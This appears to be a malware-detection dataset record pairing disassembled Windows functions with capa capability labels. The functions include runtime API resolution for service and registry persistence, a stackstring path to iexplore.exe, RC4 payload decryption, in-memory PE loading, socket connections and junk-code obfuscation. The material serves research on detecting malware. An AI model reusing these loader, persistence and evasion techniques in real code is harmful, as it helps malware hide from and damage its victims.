joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403161
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x406160
push 0x403950
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x468
push ebx
push esi
push edi
push str.RegCloseKey
mov ebx, str.ADVAPI32.dll
push ebx
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call esi
push eax
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call edi
mov dword [ebp - 0x340], eax
push str.OpenSCManagerA
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x364], eax
push str.OpenServiceA
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x234], eax
push str.CloseServiceHandle
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x34c], eax
push str.GetModuleFileNameA
push 0x407144
call esi
push eax
call edi
mov dword [ebp - 0x370], eax
push str.GetWindowsDirectoryA
push 0x407144
call esi
push eax
call edi
mov dword [ebp - 0x35c], eax
push str.CopyFileA
push 0x407144
call esi
push eax
call edi
mov dword [ebp - 0x228], eax
push str.RegSetValueExA
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x354], eax
push str.StartServiceA
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x230], eax
push str.RegOpenKeyA
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x36c], eax
jmp loc.0040fb78

Function at 0x403ac0
Capabilities:
Packed with generic packer

Disassembly:
push 0x30000
push pe_overlay
jmp loc.0040f000

Function at 0x403af0
Capabilities:
Packed with generic packer

Disassembly:
push esi
push str.GetTickCount
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
mov esi, eax
call sub.MSVCRT.dll_rand
add eax, 3
xor edx, edx
jmp loc.0040f132

Function at 0x403b30
Capabilities:
Packed with generic packer

Disassembly:
push esi
push edi
push str.gethostbyname
push str.WS2_32.dll
jmp loc.00410533
Function at 0x403b70
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x134
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.GetSystemDirectoryA
push str.KERNEL32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.lstrcatA
push str.KERNEL32.dll
mov ebx, eax
call esi
push eax
call edi
push str.lstrcpyA
push str.KERNEL32.dll
mov ebp, eax
call esi
push eax
call edi
mov esi, eax
lea eax, [esp + 0x40]
push 0x104
push eax
call ebx
mov al, 0x65
mov dl, 0x74
mov byte [esp + 0x1c], al
mov byte [esp + 0x21], dl
mov byte [esp + 0x22], al
mov byte [esp + 0x25], al
mov byte [esp + 0x26], dl
mov byte [esp + 0x2e], al
mov byte [esp + 0x32], al
mov byte [esp + 0x38], al
mov byte [esp + 0x3a], al
mov byte [esp + 0x3c], al
mov cl, 0x72
mov bl, 0x6c
mov dl, 0x78
xor al, al
mov byte [esp + 0x10], 0x5c
mov byte [esp + 0x11], 0x50
mov byte [esp + 0x12], cl
mov byte [esp + 0x13], 0x6f
mov byte [esp + 0x14], 0x67
mov byte [esp + 0x15], cl
mov byte [esp + 0x16], 0x61
mov byte [esp + 0x17], 0x6d
mov byte [esp + 0x18], 0x20
mov byte [esp + 0x19], 0x46
mov byte [esp + 0x1a], 0x69
mov byte [esp + 0x1b], bl
mov byte [esp + 0x1d], 0x73
mov byte [esp + 0x1e], 0x5c
mov byte [esp + 0x1f], 0x49
mov byte [esp + 0x20], 0x6e
mov byte [esp + 0x23], cl
mov byte [esp + 0x24], 0x6e
mov byte [esp + 0x27], 0x20
mov byte [esp + 0x28], 0x45
mov byte [esp + 0x29], dl
mov byte [esp + 0x2a], 0x70
mov byte [esp + 0x2b], bl
mov byte [esp + 0x2c], 0x6f
mov byte [esp + 0x2d], cl
mov byte [esp + 0x2f], cl
mov byte [esp + 0x30], 0x5c
mov byte [esp + 0x31], 0x69
mov byte [esp + 0x33], dl
mov byte [esp + 0x34], 0x70
mov byte [esp + 0x35], bl
mov byte [esp + 0x36], 0x6f
mov byte [esp + 0x37], cl
mov byte [esp + 0x39], 0x2e
mov byte [esp + 0x3b], dl
mov byte [esp + 0x3d], al
mov byte [esp + 0x42], al
lea ecx, [esp + 0x10]
lea edx, [esp + 0x40]
push ecx
push edx
call ebp
mov ecx, dword [esp + 0x148]
lea eax, [esp + 0x40]
push eax
push ecx
call esi
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x134
ret

Function at 0x40551e
Capabilities:
Packed with generic packer

Disassembly:
cmp edi, 0xffffffff
je fcn.0040552a
push edi
jmp loc.00410471

Function at 0x4055a0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
sub esp, 0x10
push esi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4055be
or eax, eax
pop esi
add esp, 0x10
ret
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
push ecx
mov dword [esp + 0xc], eax
mov word [esp + 8], 2
call dword [sym.imp.WS2_32.dll_htons]
lea edx, [esp + 4]
push 0x10
push edx
push esi
mov word [esp + 0x12], ax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x4055ff
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
or eax, 0xffffffff
pop esi
add esp, 0x10
ret
mov eax, esi
pop esi
add esp, 0x10
ret
Function at 0x10197970
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x168
mov eax, dword [ebp + 8]
xor ecx, ecx
mov dword [0x101d9fd0], 0x132a
mov dword [0x101d9fcc], 0x3614
mov edx, ecx
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x134], edx
mov dword [ebp - 0x138], ecx
jmp 0x10197ab3
lea eax, [0x10199603]
mov ecx, 0x20
lea edx, [ebp - 0x12c]
mov dword [esp], edx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x20
mov dword [ebp - 0x13c], edx
mov dword [ebp - 0x140], ecx
call fcn.10197f7e
mov eax, dword [ebp - 0x13c]
mov dword [esp], eax
mov ecx, dword [ebp - 0x144]
mov dword [esp + 4], ecx
mov dword [esp + 8], ecx
mov edx, dword [ebp - 0x148]
mov dword [esp + 0xc], edx
call fcn.1019854b
xor eax, eax
mov ecx, dword [ebp - 0x144]
add ecx, 0xcf27b
mov edx, dword [ebp - 0x130]
mov dword [edx], ecx
mov dword [edx + 4], 0x12f000
mov ecx, dword [ebp - 0x144]
add ecx, 0xc4dd6
mov dword [edx + 8], ecx
mov dword [edx + 0xc], 0x1f60
add esp, 0x168
pop esi
pop edi
pop ebx
pop ebp
ret
lea eax, [ebp - 0x2c]
mov dword [0x101d9fd0], 0x156a
mov dword [ebp - 0x14c], eax
call fcn.101981f6
mov dword [esp], eax
mov eax, dword [ebp - 0x14c]
mov dword [esp + 4], eax
call fcn.10198aec
mov ecx, eax
mov dword [0x101d9fec], eax
mov eax, esp
mov edx, dword [ebp - 0x148]
mov dword [eax + 4], edx
mov dword [eax + 0xc], 4
mov dword [eax + 8], 0x1000
mov dword [eax], 0
call ecx
sub esp, 0x10
xor ecx, ecx
mov edx, ecx
mov dword [ebp - 0x144], eax
mov dword [ebp - 0x150], edx
mov dword [ebp - 0x154], ecx
jmp 0x10197b54
mov eax, dword [ebp - 0x138]
mov ecx, dword [ebp - 0x134]
lea edx, section..data
mov esi, ecx
add esi, 1
imul edi, ecx, 0x178
mov ebx, edx
add ebx, edi
add ebx, 0xbc
imul ecx, ecx, 0x178
add edx, ecx
add edx, 0xc0
mov ecx, dword [edx]
movzx edx, word [ebx]
xor edx, ecx
add edx, eax
cmp esi, 0x2b9
mov eax, edx
mov dword [ebp - 0x148], edx
mov dword [ebp - 0x134], esi
mov dword [ebp - 0x138], eax
jne 0x10197ab3
xor eax, eax
mov dword [0x101d9fcc], 0x1177
mov dword [ebp - 0x158], eax
mov eax, dword [ebp - 0x158]
mov cl, byte [eax + 0x10199624]
mov dl, byte [eax + 0x101995f5]
sub dl, cl
mov byte [ebp + eax - 0x2c], dl
add eax, 1
cmp eax, 0xe
mov dword [ebp - 0x158], eax
je 0x10197a43
jmp 0x10197b22
mov eax, dword [ebp - 0x154]
mov ecx, dword [ebp - 0x150]
lea edx, section..data
imul esi, eax, 0x178
mov edi, edx
add edi, esi
add edi, 0xc0
mov esi, dword [edi]
imul edi, eax, 0x178
mov ebx, edx
add ebx, edi
add ebx, 0x2c
mov edi, dword [ebx]
imul ebx, eax, 0x178
add edx, ebx
add edx, 0xbc
movzx edx, word [edx]
xor edx, esi
mov esi, dword [ebp - 0x144]
add esi, ecx
mov dword [esp], esi
mov dword [esp + 4], edi
mov dword [esp + 8], edx
mov dword [ebp - 0x15c], eax
mov dword [ebp - 0x160], ecx
mov dword [ebp - 0x164], edx
call fcn.101984bf
mov eax, dword [ebp - 0x164]
mov ecx, dword [ebp - 0x160]
add eax, ecx
mov edx, dword [ebp - 0x15c]
add edx, 1
cmp edx, 0x2b9
mov dword [ebp - 0x150], eax
mov dword [ebp - 0x154], edx
je 0x101979ae
jmp 0x10197b54
Function at 0x10197bfe
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
and esp, 0xfffffff8
sub esp, 0x98
call fcn.1000108e
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x24], ecx
je 0x10197ccb
jmp 0x10197d89
mov eax, dword [esp + 0x20]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 0x1c], ecx
je 0x10197d00
jmp 0x10197d75
mov eax, dword [esp + 0x18]
mov dword [esp + 0x24], eax
jmp 0x10197d89
lea eax, [esp + 0x80]
mov dword [esp], eax
call fcn.10197970
lea ecx, [0x10198d18]
mov edx, dword [esp + 0x80]
mov dword [esp + 0x58], edx
mov dword [esp + 0x30], 0x12f000
mov dword [0x101d9fcc], 0x15a6
mov edx, dword [0x101d9fb8]
mov dword [esp + 0x60], edx
mov edx, dword [0x101d9fbc]
mov dword [esp + 0x2c], edx
mov edx, dword [0x101d9fc0]
mov dword [esp + 0x54], edx
mov edx, dword [0x101d9fc4]
mov dword [esp + 0x68], edx
mov edx, dword [0x101d9fc8]
mov dword [esp + 0x74], edx
mov dword [0x101d9fd0], 0x109b
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], ecx
jmp 0x10197d62
lea eax, [esp + 0x28]
mov ecx, dword [0x101d9fcc]
add ecx, 0xffffefd3
mov dword [0x101d9fcc], ecx
mov dword [esp + 0xc], eax
call fcn.101980e0
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x18], ecx
je 0x10197c50
jmp 0x10197c43
lea eax, [esp + 0x28]
mov ecx, dword [esp + 0x20]
mov dword [esp + 0x64], ecx
mov dword [0x101d9fcc], 0xfffff682
mov edx, dword [esp + 0x1c]
mov esi, dword [ecx + edx + 0x50]
mov dword [esp + 0x50], esi
mov esi, dword [esp + 0x88]
mov dword [esp], eax
mov dword [esp + 4], esi
call fcn.101987a8
mov ecx, esp
lea edx, [esp + 0x28]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 1
mov ecx, dword [0x101d9fcc]
add ecx, 0xffffe5c3
mov dword [0x101d9fd0], ecx
mov dword [esp + 0x18], eax
jmp 0x10197c43
mov eax, dword [esp + 0x10]
cmp word [eax], 0x5a4d
mov dword [esp + 0x20], eax
je 0x10197c26
mov eax, dword [esp + 0x20]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0x10], eax
jmp 0x10197d62
mov eax, dword [esp + 0x24]
lea esp, [ebp - 4]
pop esi
pop ebp
ret
Function at 0x10197e08
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x4c
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
call fcn.101988d3
xor ecx, ecx
mov edx, eax
mov esi, dword [eax + 0x3c]
mov edi, edx
add edi, esi
mov esi, dword [eax + esi]
cmp esi, 0x4550
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], edi
je 0x10197e44
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x78]
mov dword [0x101d9fd0], 0x370c
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x14]
add ecx, dword [edx + eax + 0x20]
mov esi, dword [edx + eax + 0x24]
mov dword [0x101d9fcc], 0x1fed
mov edi, dword [edx + eax + 0x18]
cmp edi, 0
mov ebx, dword [ebp - 0x18]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x34], ebx
je 0x10197ef1
jmp 0x10197f22
mov eax, dword [ebp - 0x38]
add eax, 1
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
cmp eax, 0x20
setb cl
mov dl, byte [ebp - 0x3d]
cmp dl, 0
setne ch
mov dh, byte [ebp - 0x3e]
and dh, ch
and dh, cl
test dh, 1
mov dword [ebp - 0x44], eax
jne 0x10197f4c
jmp 0x10197ee8
mov eax, dword [ebp - 0x48]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x24]
add edx, dword [edx + esi + 0x1c]
mov edi, dword [ebp - 0x1c]
add edi, dword [edx + ecx*4]
mov dword [0x101d9fcc], 0x1415
mov dword [ebp - 0x34], edi
jmp 0x10197ef1
mov al, byte [ebp - 0x3e]
test al, 1
jne 0x10197ec3
jmp 0x10197efc
mov eax, dword [ebp - 0x34]
add esp, 0x4c
pop esi
pop edi
pop ebx
pop ebp
ret
xor eax, eax
mov ecx, dword [ebp - 0x48]
add ecx, 2
mov edx, dword [ebp - 0x4c]
add edx, 1
mov esi, dword [ebp - 0x30]
cmp edx, esi
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x54], edx
jb 0x10197f32
jmp 0x10197ef1
xor eax, eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x2c]
add ecx, edx
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x50]
xor edx, edx
mov esi, dword [ebp - 0x28]
mov edi, dword [esi + eax*4]
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x58], edi
mov dword [ebp - 0x44], edx
mov eax, dword [ebp - 0x44]
mov ecx, eax
mov edx, dword [ebp - 0x58]
add ecx, edx
mov esi, dword [ebp - 0x1c]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x38], eax
mov byte [ebp - 0x3d], bh
mov byte [ebp - 0x3e], cl
je 0x10197ee8
jmp 0x10197e8f
Function at 0x10197f7e
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov edi, dword [0x101d9fd0]
add edi, 0x53c
mov dword [0x101d9fd0], edi
mov dword [0x101d9fd8], 0
mov byte [0x101d9fdc], 0
mov dword [0x101d9fd4], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
jmp 0x10198083
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov dword [0x101d9fe0], 0
mov dword [ebp - 0x24], eax
xor edx, edx
mov esi, dword [ebp - 0x10]
div esi
mov edi, dword [0x101d9fd8]
mov ebx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x24]
movzx esi, byte [ebx + esi]
add esi, edi
mov edi, dword [ebp - 0x14]
movzx edx, byte [edi + edx]
add esi, edx
mov dword [0x101d9fe0], esi
mov eax, esi
cdq
idiv ecx
mov dword [0x101d9fd8], edx
mov dword [0x101d9fcc], 0x918
mov ecx, dword [ebp - 0x24]
mov cl, byte [ebx + ecx]
mov byte [0x101d9fdc], cl
mov cl, byte [ebx + edx]
mov edx, dword [ebp - 0x24]
mov byte [ebx + edx], cl
mov dword [0x101d9fcc], 0x16c8
mov cl, byte [0x101d9fdc]
mov esi, dword [0x101d9fd8]
mov byte [ebx + esi], cl
mov esi, dword [0x101d9fd4]
add esi, 1
mov dword [0x101d9fd4], esi
cmp esi, 0x100
mov dword [ebp - 0x20], esi
jl 0x10197fd0
mov dword [0x101d9fcc], 0x26c
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x1c]
mov dword [0x101d9fd0], 0x1e35
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x101d9fd0]
add eax, 0x325
mov dword [0x101d9fd0], eax
mov eax, dword [0x101d9fd4]
add eax, 1
mov dword [0x101d9fd4], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x10198083
mov dword [0x101d9fcc], 0x182
mov dword [0x101d9fd4], 0
xor eax, eax
mov dword [ebp - 0x20], eax
jmp 0x10197fd0
Function at 0x101980e0
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], ecx
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 0x10]
mov edx, dword [edx + 0x3c]
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x14], eax
jmp 0x1019812a
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x10], 0x6c
je 0x101981c8
jmp 0x101981df
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x10]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], edx
je 0x10198157
mov eax, dword [ebp - 0x1c]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x20], eax
jl 0x1019812a
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x10]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x18], eax
jne 0x101981df
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x18], 0x6f
jne 0x101981df
mov eax, dword [ebp - 0x18]
add eax, 0xfffffff5
shl eax, 1
mov ecx, dword [ebp - 0x10]
add ecx, eax
mov dword [ebp - 0x24], ecx
mov eax, dword [ebp - 0x24]
cmp word [eax], 0x61
jne 0x101981df
mov eax, dword [0x101d9fcc]
add eax, 0xfffff36e
mov dword [0x101d9fcc], eax
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x14], 0x64
jne 0x101981df
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x12], 0x64
je 0x10198112
jmp 0x101981df
mov eax, 1
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x18]
cmp word [ecx + edx*2 - 0xe], 0x6c
mov dword [ebp - 0x28], eax
je 0x101981ee
xor eax, eax
mov dword [0x101d9fcc], 0x982
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
add esp, 0x28
pop ebp
ret
Function at 0x1019854b
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x2c
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [0x101d9fd4], 0
mov dword [0x101d9fd8], 0
mov dword [0x101d9fe4], 0
mov dword [0x101d9fcc], 0x53e
cmp eax, 0
mov ebx, edi
mov dword [ebp - 0x10], eax
mov eax, edi
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], edi
je 0x1019869a
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x24]
mov esi, 0x100
mov dword [0x101d9fd0], 0xb88
add ecx, 1
mov dword [ebp - 0x2c], eax
mov eax, ecx
mov dword [ebp - 0x30], edx
cdq
idiv esi
mov dword [0x101d9fd4], edx
mov ecx, dword [ebp - 0x20]
movzx edi, byte [ecx + edx]
mov ebx, dword [ebp - 0x30]
add edi, ebx
mov eax, edi
mov dword [ebp - 0x34], edx
cdq
idiv esi
mov dword [0x101d9fd8], edx
mov esi, dword [ebp - 0x34]
mov cl, byte [ecx + esi]
mov byte [0x101d9fdc], cl
mov edi, dword [ebp - 0x20]
mov cl, byte [edi + edx]
mov byte [edi + esi], cl
mov edx, dword [0x101d9fcc]
add edx, 0x20cc
mov dword [0x101d9fcc], edx
mov cl, byte [0x101d9fdc]
mov edx, dword [0x101d9fd8]
mov byte [edi + edx], cl
mov edx, dword [0x101d9fd4]
movzx edx, byte [edi + edx]
mov ebx, dword [0x101d9fd8]
movzx ebx, byte [edi + ebx]
add ebx, edx
and ebx, 0xff
mov dword [0x101d9fe4], ebx
mov dword [0x101d9fcc], 0x395
mov edx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x2c]
mov cl, byte [edx + ecx]
xor cl, byte [edi + ebx]
mov ebx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x2c]
mov byte [ebx + edx], cl
add edx, 1
mov ecx, dword [ebp - 0x10]
cmp edx, ecx
mov dword [ebp - 0x38], edx
je 0x1019869a
mov eax, dword [0x101d9fd4]
mov ecx, dword [0x101d9fd8]
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x28], edx
jmp 0x101985ae
add esp, 0x2c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x101987a8
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
sub esp, 0x54
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
xor edx, edx
mov esi, dword [0x101d9fd0]
mov edi, esi
add edi, 0xffffdf43
mov dword [0x101d9fcc], edi
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x38]
mov cl, byte [eax + 0x10199624]
mov dl, byte [eax + 0x101995f5]
sub dl, cl
mov byte [ebp + eax - 0x28], dl
add eax, 1
cmp eax, 0xe
mov dword [ebp - 0x38], eax
jne 0x101987d8
lea eax, [ebp - 0x28]
mov ecx, dword [ebp - 0x34]
add ecx, 0xffffe336
mov dword [0x101d9fd0], ecx
mov dword [ebp - 0x3c], eax
call fcn.101981f6
mov dword [esp], eax
mov eax, dword [ebp - 0x3c]
mov dword [esp + 4], eax
call fcn.10198aec
cmp eax, 0
mov dword [ebp - 0x40], eax
je 0x101988ca
mov eax, dword [ebp - 0x40]
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov dword [esp], eax
mov ecx, dword [ebp - 0x2c]
mov dword [esp + 4], ecx
mov dword [ebp - 0x44], eax
call fcn.101986a2
xor eax, eax
mov ecx, dword [ebp - 0x44]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xc0
mov dword [ecx + 0xc0], 0x4550
add ecx, 0xffc00000
mov dword [0x101d9fcc], 0x21cb
mov edx, dword [ebp - 0x30]
mov dword [edx + 0x34], ecx
mov ecx, dword [ebp - 0x44]
mov dword [edx + 0x20], ecx
add ecx, 0x1595
mov esi, dword [ebp - 0x44]
cmp esi, 0
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x4c], eax
je 0x101988c0
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
add esp, 0x54
pop esi
pop edi
pop ebp
ret
xor eax, eax
add esp, 0x54
pop esi
pop edi
pop ebp
ret
Function at 0x4a322e
Capabilities:
Accept command line arguments

Disassembly:
sub edi, 4
xor edi, dword [esp]
xor dword [esp], edi
xor edi, dword [esp]
pop esp
mov dword [esp], eax
pop dword [ebp - 0x10]
jmp 0x5650ad
push ecx
push edi
mov edi, 0x3cbd980f
mov dword [esp + 4], edi
pop edi
mov dword [esp], ecx
pop dword [ebp - 0x18]
push 0x6d930602
mov dword [esp], esi
mov esi, esp
push edx
mov edx, 0x38bfc2f0
inc edx
not edx
xor edx, 0xc7403d0a
add esi, edx
pop edx
sub esi, 4
xchg dword [esp], esi
pop esp
mov dword [esp], ebx
mov dword [esp], ecx
push edi
mov edi, 0x7fdeb4bc
shl edi, 1
sub edi, 0x6ff790a1
sub edi, 0x7e95d1ee
sub edi, 0xa160e14a
add ecx, edi
pop edi
add ecx, eax
push edi
mov edi, 0x7fff5994
shl edi, 7
and edi, 0x327680c6
sub esp, 4
mov dword [esp], edx
mov edx, 0x7dbfbe28
inc edx
or edx, 0x34db0e39
xor edx, 0x20141ba6
xor edi, edx
pop edx
sub ecx, edi
pop edi
mov ecx, dword [esp]
push ebx
mov ebx, esp
push esi
mov esi, 4
add ebx, esi
pop esi
push eax
mov eax, 4
add ebx, eax
pop eax
xchg dword [esp], ebx
mov esp, dword [esp]
jmp fcn.004cd586
push eax
mov eax, esp
add eax, 4
sub eax, 4
xor eax, dword [esp]
xor dword [esp], eax
xor eax, dword [esp]
pop esp
mov dword [esp], edi
mov dword [esp], ecx
mov dword [esp], eax
push esi
mov dword [esp], ebx
push dword [esp]
pop eax
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg dword [esp], ecx
pop esp
push dword [esp]
pop eax
sub esp, 4
mov dword [esp], eax
mov eax, esp
add eax, 4
add eax, 4
xchg dword [esp], eax
mov esp, dword [esp]
push dword [ebp - 0x10]
push dword [esp]
push dword [esp]
pop ecx
add esp, 4
add esp, 4
push edi
mov edi, esp
add edi, 4
push esi
mov esi, 4
add edi, 0x51ed184a
sub edi, esi
sub edi, 0x51ed184a
pop esi
xor edi, dword [esp]
xor dword [esp], edi
xor edi, dword [esp]
pop esp
mov dword [esp], ecx
add ecx, 0x6f6f6667
push ebx
mov ebx, 0x7f75b916
push ecx
mov ecx, 0x7b1ed78a
and ebx, ecx
pop ecx
shl ebx, 4
or ebx, 0x3fff539c
add ebx, 0x70003d75
sub ecx, ebx
pop ebx
add ecx, eax
add ecx, 0x2fff9131
push ebp
mov ebp, 0x6f6f6667
sub ecx, ebp
pop ebp
push dword [esp]
mov ecx, dword [esp]
add esp, 4
sub esp, 4
mov dword [esp], ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg dword [esp], ebx
pop esp
jmp 0x4f8f29